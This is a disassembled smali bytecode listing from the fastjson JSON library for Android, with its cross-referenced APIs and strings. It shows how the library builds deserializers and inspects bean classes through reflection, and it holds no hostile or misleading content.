                                                1388invoke-interface {v15, v10, v1, v8, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1389const/16 v1, 0x57
                                                1391invoke-interface {v15, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1393invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1394move-result v1
                                                1396invoke-interface {v15, v9, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1397const/16 v1, 0xf
                                                1399invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1400move-result-object v1
                                                1402invoke-interface {v15, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1404sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1406const-string v8, "setToken"
                                                1408invoke-interface {v15, v10, v1, v8, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1409const/16 v1, 0xa7
                                                1411invoke-interface {v15, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1413invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1415invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1416move-result v1
                                                1417const/16 v2, 0x15
                                                1419invoke-interface {v15, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1420const/16 v1, 0x1a
                                                1421const/16 v2, 0x10
                                                1423invoke-interface {v15, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1424const/16 v1, 0xa0
                                                1426invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1428invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1429move-result v1
                                                1431invoke-interface {v15, v9, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1433sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1435const-string v2, "next"
                                                1436const/16 v4, 0xb6
                                                1438invoke-interface {v15, v4, v1, v2, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1439const/16 v1, 0x57
                                                1441invoke-interface {v15, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1443invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1444move-result v1
                                                1446invoke-interface {v15, v9, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1447const/16 v1, 0x14
                                                1449invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1450move-result-object v1
                                                1452invoke-interface {v15, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1454sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1456const-string v2, "setToken"
                                                1458invoke-interface {v15, v4, v1, v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1459const/16 v1, 0xa7
                                                1461invoke-interface {v15, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1463invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1465invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1466move-result v0
                                                1468invoke-interface {v15, v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1469const/16 v0, 0x10
                                                1471invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1472move-result-object v0
                                                1474invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1476sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1478const-string v1, "nextToken"
                                                1480invoke-interface {v15, v4, v0, v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1482invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1484const-string v0, "instance"
                                                1486invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1487move-result v0
                                                1489invoke-interface {v15, v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1490const/16 v0, 0xb0
                                                1492invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1493const/4 v0, 0x5
                                                1495invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$100(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)I
                                                1496move-result v1
                                                1498invoke-interface {v15, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                1500invoke-interface {v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                1501return-void
                                                Cross References
                                                APIs
                                                • java.lang.Class.getAnnotation
                                                • java.lang.Class.getDeclaredFields
                                                • java.lang.Class.getMethods
                                                • java.util.ArrayList.<init>
                                                • java.lang.Class.isInterface
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isAbstract
                                                • java.lang.reflect.Constructor.getParameterTypes
                                                • java.lang.reflect.Constructor.getParameterAnnotations
                                                • java.lang.reflect.Constructor.getGenericParameterTypes
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.reflect.Method.getParameterTypes
                                                • java.lang.reflect.Method.getParameterAnnotations
                                                • java.lang.reflect.Method.getGenericParameterTypes
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Class.getAnnotation
                                                • java.lang.String.length
                                                • java.lang.Class.getMethods
                                                • java.lang.reflect.Method.getModifiers
                                                • java.lang.reflect.Modifier.isStatic
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Object.equals
                                                • java.lang.reflect.Method.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.startsWith
                                                • java.lang.String.length
                                                • java.lang.String.length
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.String.length
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.setCharAt
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.getAnnotation
                                                • java.lang.String.length
                                                • java.lang.Class.getMethod
                                                • java.lang.Class.getMethod
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.length
                                                • java.lang.reflect.Method.getModifiers
                                                • java.lang.reflect.Modifier.isStatic
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Void.TYPE:Ljava/lang/Class
                                                • java.lang.Object.equals
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.reflect.Method.getDeclaringClass
                                                • java.lang.Object.equals
                                                • java.lang.reflect.Method.getParameterTypes
                                                • java.lang.reflect.Method.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • java.lang.String.startsWith
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.String.substring
                                                • java.lang.String.substring
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.String.substring
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.charAt
                                                • java.lang.Character.toUpperCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.reflect.Field.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • com.alibaba.fastjson.PropertyNamingStrategy.translate
                                                • java.lang.Class.getFields
                                                • java.lang.reflect.Field.getModifiers
                                                • java.lang.reflect.Field.getType
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Object.equals
                                                • java.lang.Object.equals
                                                • java.lang.Object.equals
                                                • java.util.List.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.reflect.Field.getName
                                                • java.lang.String.equals
                                                • java.lang.reflect.Field.getName
                                                • java.lang.reflect.Field.getAnnotation
                                                • com.alibaba.fastjson.serializer.SerializerFeature.of
                                                • com.alibaba.fastjson.parser.Feature.of
                                                • java.lang.String.length
                                                • com.alibaba.fastjson.PropertyNamingStrategy.translate
                                                • java.lang.Class.getMethods
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.length
                                                • java.lang.reflect.Method.getModifiers
                                                • java.lang.reflect.Modifier.isStatic
                                                • java.lang.String.startsWith
                                                • java.lang.String.charAt
                                                • java.lang.Character.isUpperCase
                                                • java.lang.reflect.Method.getParameterTypes
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.reflect.Method.getAnnotation
                                                • java.lang.String.length
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.PropertyNamingStrategy.translate
                                                Strings
                                                • illegal json creator
                                                • default constructor not found.
                                                • with
                                                • build
                                                • create
                                                • buildMethod not found.
                                                • set
                                                • is
                                                • get
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;",
                                                5"Ljava/lang/reflect/Type;",
                                                6"Lcom/alibaba/fastjson/PropertyNamingStrategy;",
                                                7")",
                                                8"Lcom/alibaba/fastjson/util/JavaBeanInfo;"
                                                9}
                                                10.end annotation
                                                11move-object/from16 v12, p0
                                                12move-object/from16 v13, p2
                                                13const-class v0, Lcom/alibaba/fastjson/annotation/JSONType;
                                                15invoke-virtual {v12, v0}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                16move-result-object v0
                                                17move-object v14, v0
                                                18check-cast v14, Lcom/alibaba/fastjson/annotation/JSONType;
                                                20invoke-static {v14}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->getBuilderClass(Lcom/alibaba/fastjson/annotation/JSONType;)Ljava/lang/Class;
                                                21move-result-object v15
                                                23invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getDeclaredFields()[Ljava/lang/reflect/Field;
                                                24move-result-object v11
                                                26invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getMethods()[Ljava/lang/reflect/Method;
                                                27move-result-object v10
                                                28if-nez v15, :cond_1d
                                                29move-object v0, v12
                                                30goto/16 :goto_1e
                                                31cond_1d: move-object v0, v15
                                                32goto_1e:
                                                33invoke-static {v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->getDefaultConstructor(Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                                                34move-result-object v16
                                                35new-instance v9, Ljava/util/ArrayList;
                                                37invoke-direct {v9}, Ljava/util/ArrayList;-><init>()V
                                                38const/16 v17, 0x0
                                                39const/4 v8, 0x0
                                                40if-nez v16, :cond_174
                                                42invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->isInterface()Z
                                                43move-result v0
                                                44if-nez v0, :cond_174
                                                46invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getModifiers()I
                                                47move-result v0
                                                49invoke-static {v0}, Ljava/lang/reflect/Modifier;->isAbstract(I)Z
                                                50move-result v0
                                                51if-nez v0, :cond_174
                                                53invoke-static/range {p0 .. p0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->getCreatorConstructor(Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                                                54move-result-object v13
                                                56const-string v7, "illegal json creator"
                                                57if-eqz v13, :cond_ce
                                                59invoke-static {v13}, Lcom/alibaba/fastjson/util/TypeUtils;->setAccessible(Ljava/lang/reflect/AccessibleObject;)V
                                                61invoke-virtual {v13}, Ljava/lang/reflect/Constructor;->getParameterTypes()[Ljava/lang/Class;
                                                62move-result-object v10
                                                63array-length v0, v10
                                                64if-lez v0, :cond_be
                                                66invoke-virtual {v13}, Ljava/lang/reflect/Constructor;->getParameterAnnotations()[[Ljava/lang/annotation/Annotation;
                                                67move-result-object v16
                                                68const/4 v6, 0x0
                                                69goto_53: array-length v0, v10
                                                70if-ge v6, v0, :cond_be
                                                71aget-object v0, v16, v6
                                                72array-length v1, v0
                                                73const/4 v2, 0x0
                                                74goto_5a: if-ge v2, v1, :cond_69
                                                75aget-object v3, v0, v2
                                                76instance-of v4, v3, Lcom/alibaba/fastjson/annotation/JSONField;
                                                77if-eqz v4, :cond_66
                                                78move-object v0, v3
                                                79check-cast v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                80goto/16 :goto_6b
                                                81cond_66: add-int/lit8 v2, v2, 0x1
                                                82goto/16 :goto_5a
                                                83cond_69: move-object/from16 v0, v17
                                                84goto_6b: if-eqz v0, :cond_b7
                                                85aget-object v3, v10, v6
                                                87invoke-virtual {v13}, Ljava/lang/reflect/Constructor;->getGenericParameterTypes()[Ljava/lang/reflect/Type;
                                                88move-result-object v1
                                                89aget-object v4, v1, v6
                                                91invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                92move-result-object v1
                                                94invoke-static {v12, v1, v11}, Lcom/alibaba/fastjson/util/TypeUtils;->getField(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/reflect/Field;)Ljava/lang/reflect/Field;
                                                95move-result-object v5
                                                97invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                98move-result v18
                                                100invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                101move-result-object v1
                                                103invoke-static {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                104move-result v19
                                                106invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                107move-result-object v1
                                                109invoke-static {v1}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                110move-result v20
                                                111new-instance v2, Lcom/alibaba/fastjson/util/FieldInfo;
                                                113invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                114move-result-object v1
                                                115move-object v0, v2
                                                116move-object/from16 p1, v10
                                                117move-object v10, v2
                                                118move-object/from16 v2, p0
                                                119move/from16 v21, v6
                                                120move/from16 v6, v18
                                                121move-object/from16 v18, v11
                                                122move-object v11, v7
                                                123move/from16 v7, v19
                                                124move/from16 v8, v20
                                                126invoke-direct/range {v0 .. v8}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/Class;Ljava/lang/Class;Ljava/lang/reflect/Type;Ljava/lang/reflect/Field;III)V
                                                128invoke-static {v9, v10}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                129add-int/lit8 v6, v21, 0x1
                                                130move-object/from16 v10, p1
                                                131move-object v7, v11
                                                132move-object/from16 v11, v18
                                                133const/4 v8, 0x0
                                                134goto/16 :goto_53
                                                135cond_b7: move-object v11, v7
                                                136new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                138invoke-direct {v0, v11}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                139throw v0
                                                140cond_be: new-instance v10, Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                141const/4 v3, 0x0
                                                142const/4 v5, 0x0
                                                143const/4 v6, 0x0
                                                144move-object v0, v10
                                                145move-object/from16 v1, p0
                                                146move-object v2, v15
                                                147move-object v4, v13
                                                148move-object v7, v14
                                                149move-object v8, v9
                                                151invoke-direct/range {v0 .. v8}, Lcom/alibaba/fastjson/util/JavaBeanInfo;-><init>(Ljava/lang/Class;Ljava/lang/Class;Ljava/lang/reflect/Constructor;Ljava/lang/reflect/Constructor;Ljava/lang/reflect/Method;Ljava/lang/reflect/Method;Lcom/alibaba/fastjson/annotation/JSONType;Ljava/util/List;)V
                                                152return-object v10
                                                153cond_ce: move-object/from16 v18, v11
                                                154move-object v11, v7
                                                156invoke-static {v12, v10}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->getFactoryMethod(Ljava/lang/Class;[Ljava/lang/reflect/Method;)Ljava/lang/reflect/Method;
                                                157move-result-object v10
                                                158if-eqz v10, :cond_15d
                                                160invoke-static {v10}, Lcom/alibaba/fastjson/util/TypeUtils;->setAccessible(Ljava/lang/reflect/AccessibleObject;)V
                                                162invoke-virtual {v10}, Ljava/lang/reflect/Method;->getParameterTypes()[Ljava/lang/Class;
                                                163move-result-object v13
                                                164array-length v0, v13
                                                165if-lez v0, :cond_14d
                                                167invoke-virtual {v10}, Ljava/lang/reflect/Method;->getParameterAnnotations()[[Ljava/lang/annotation/Annotation;
                                                168move-result-object v16
                                                169const/4 v8, 0x0
                                                170goto_e6: array-length v0, v13
                                                171if-ge v8, v0, :cond_14d
                                                172aget-object v0, v16, v8
                                                173array-length v1, v0
                                                174const/4 v2, 0x0
                                                175goto_ed: if-ge v2, v1, :cond_fc
                                                176aget-object v3, v0, v2
                                                177instance-of v4, v3, Lcom/alibaba/fastjson/annotation/JSONField;
                                                178if-eqz v4, :cond_f9
                                                179move-object v0, v3
                                                180check-cast v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                181goto/16 :goto_fe
                                                182cond_f9: add-int/lit8 v2, v2, 0x1
                                                183goto/16 :goto_ed
                                                184cond_fc: move-object/from16 v0, v17
                                                185goto_fe: if-eqz v0, :cond_147
                                                186aget-object v3, v13, v8
                                                188invoke-virtual {v10}, Ljava/lang/reflect/Method;->getGenericParameterTypes()[Ljava/lang/reflect/Type;
                                                189move-result-object v1
                                                190aget-object v4, v1, v8
                                                192invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                193move-result-object v1
                                                194move-object/from16 v7, v18
                                                196invoke-static {v12, v1, v7}, Lcom/alibaba/fastjson/util/TypeUtils;->getField(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/reflect/Field;)Ljava/lang/reflect/Field;
                                                197move-result-object v5
                                                199invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                200move-result v6
                                                202invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                203move-result-object v1
                                                205invoke-static {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                206move-result v18
                                                208invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                209move-result-object v1
                                                211invoke-static {v1}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                212move-result v19
                                                213new-instance v2, Lcom/alibaba/fastjson/util/FieldInfo;
                                                215invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                216move-result-object v1
                                                217move-object v0, v2
                                                218move-object/from16 p1, v13
                                                219move-object v13, v2
                                                220move-object/from16 v2, p0
                                                221move-object/from16 v20, v7
                                                222move/from16 v7, v18
                                                223move/from16 v18, v8
                                                224move/from16 v8, v19
                                                226invoke-direct/range {v0 .. v8}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/Class;Ljava/lang/Class;Ljava/lang/reflect/Type;Ljava/lang/reflect/Field;III)V
                                                228invoke-static {v9, v13}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                229add-int/lit8 v8, v18, 0x1
                                                230move-object/from16 v13, p1
                                                231move-object/from16 v18, v20
                                                232goto/16 :goto_e6
                                                233cond_147: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                235invoke-direct {v0, v11}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                236throw v0
                                                237cond_14d: new-instance v11, Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                238const/4 v3, 0x0
                                                239const/4 v4, 0x0
                                                240const/4 v6, 0x0
                                                241move-object v0, v11
                                                242move-object/from16 v1, p0
                                                243move-object v2, v15
                                                244move-object v5, v10
                                                245move-object v7, v14
                                                246move-object v8, v9
                                                248invoke-direct/range {v0 .. v8}, Lcom/alibaba/fastjson/util/JavaBeanInfo;-><init>(Ljava/lang/Class;Ljava/lang/Class;Ljava/lang/reflect/Constructor;Ljava/lang/reflect/Constructor;Ljava/lang/reflect/Method;Ljava/lang/reflect/Method;Lcom/alibaba/fastjson/annotation/JSONType;Ljava/util/List;)V
                                                249return-object v11
                                                250cond_15d: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                251new-instance v1, Ljava/lang/StringBuilder;
                                                253invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                255const-string v2, "default constructor not found. "
                                                257invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                259invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                261invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                262move-result-object v1
                                                264invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                265throw v0
                                                266cond_174: move-object/from16 v20, v11
                                                267if-eqz v16, :cond_17b
                                                269invoke-static/range {v16 .. v16}, Lcom/alibaba/fastjson/util/TypeUtils;->setAccessible(Ljava/lang/reflect/AccessibleObject;)V
                                                270cond_17b: if-eqz v15, :cond_31b
                                                271const-class v0, Lcom/alibaba/fastjson/annotation/JSONPOJOBuilder;
                                                273invoke-virtual {v15, v0}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                274move-result-object v0
                                                275check-cast v0, Lcom/alibaba/fastjson/annotation/JSONPOJOBuilder;
                                                276if-eqz v0, :cond_18c
                                                278invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONPOJOBuilder;->withPrefix()Ljava/lang/String;
                                                279move-result-object v0
                                                280goto/16 :goto_18e
                                                281cond_18c: move-object/from16 v0, v17
                                                282goto_18e: if-eqz v0, :cond_196
                                                284invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                285move-result v1
                                                286if-nez v1, :cond_198
                                                287cond_196:
                                                288const-string v0, "with"
                                                289cond_198: move-object v11, v0
                                                291invoke-virtual {v15}, Ljava/lang/Class;->getMethods()[Ljava/lang/reflect/Method;
                                                292move-result-object v8
                                                293array-length v7, v8
                                                294const/4 v6, 0x0
                                                295goto_19f: if-ge v6, v7, :cond_2d1
                                                296aget-object v2, v8, v6
                                                298invoke-virtual {v2}, Ljava/lang/reflect/Method;->getModifiers()I
                                                299move-result v0
                                                301invoke-static {v0}, Ljava/lang/reflect/Modifier;->isStatic(I)Z
                                                302move-result v0
                                                303if-eqz v0, :cond_1be
                                                304goto_1ad: move/from16 v27, v6
                                                305move/from16 v28, v7
                                                306move-object/from16 v29, v8
                                                307move-object v13, v9
                                                308move-object/from16 v31, v10
                                                309move-object/from16 v18, v11
                                                310move-object/from16 v24, v14
                                                311move-object/from16 v14, v20
                                                312goto/16 :goto_2be
                                                313cond_1be:
                                                314invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                315move-result-object v0
                                                317invoke-virtual {v0, v15}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                318move-result v0
                                                319if-nez v0, :cond_1c9
                                                320goto/16 :goto_1ad
                                                321cond_1c9: const-class v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                323invoke-virtual {v2, v0}, Ljava/lang/reflect/Method;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                324move-result-object v0
                                                325check-cast v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                326if-nez v0, :cond_1d7
                                                328invoke-static {v12, v2}, Lcom/alibaba/fastjson/util/TypeUtils;->getSuperMethodAnnotation(Ljava/lang/Class;Ljava/lang/reflect/Method;)Lcom/alibaba/fastjson/annotation/JSONField;
                                                329move-result-object v0
                                                330cond_1d7: move-object/from16 v18, v0
                                                331if-eqz v18, :cond_24d
                                                333invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->deserialize()Z
                                                334move-result v0
                                                335if-nez v0, :cond_1e2
                                                336goto/16 :goto_1ad
                                                337cond_1e2:
                                                338invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                339move-result v19
                                                341invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                342move-result-object v0
                                                344invoke-static {v0}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                345move-result v21
                                                347invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                348move-result-object v0
                                                350invoke-static {v0}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                351move-result v23
                                                353invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                354move-result-object v0
                                                356invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                357move-result v0
                                                358if-eqz v0, :cond_238
                                                360invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                361move-result-object v1
                                                362new-instance v5, Lcom/alibaba/fastjson/util/FieldInfo;
                                                363const/4 v3, 0x0
                                                364const/16 v24, 0x0
                                                365const/16 v25, 0x0
                                                366move-object v0, v5
                                                367move-object/from16 v4, p0
                                                368move-object/from16 v26, v5
                                                369move-object/from16 v5, p1
                                                370move/from16 v27, v6
                                                371move/from16 v6, v19
                                                372move/from16 v28, v7
                                                373move/from16 v7, v21
                                                374move-object/from16 v29, v8
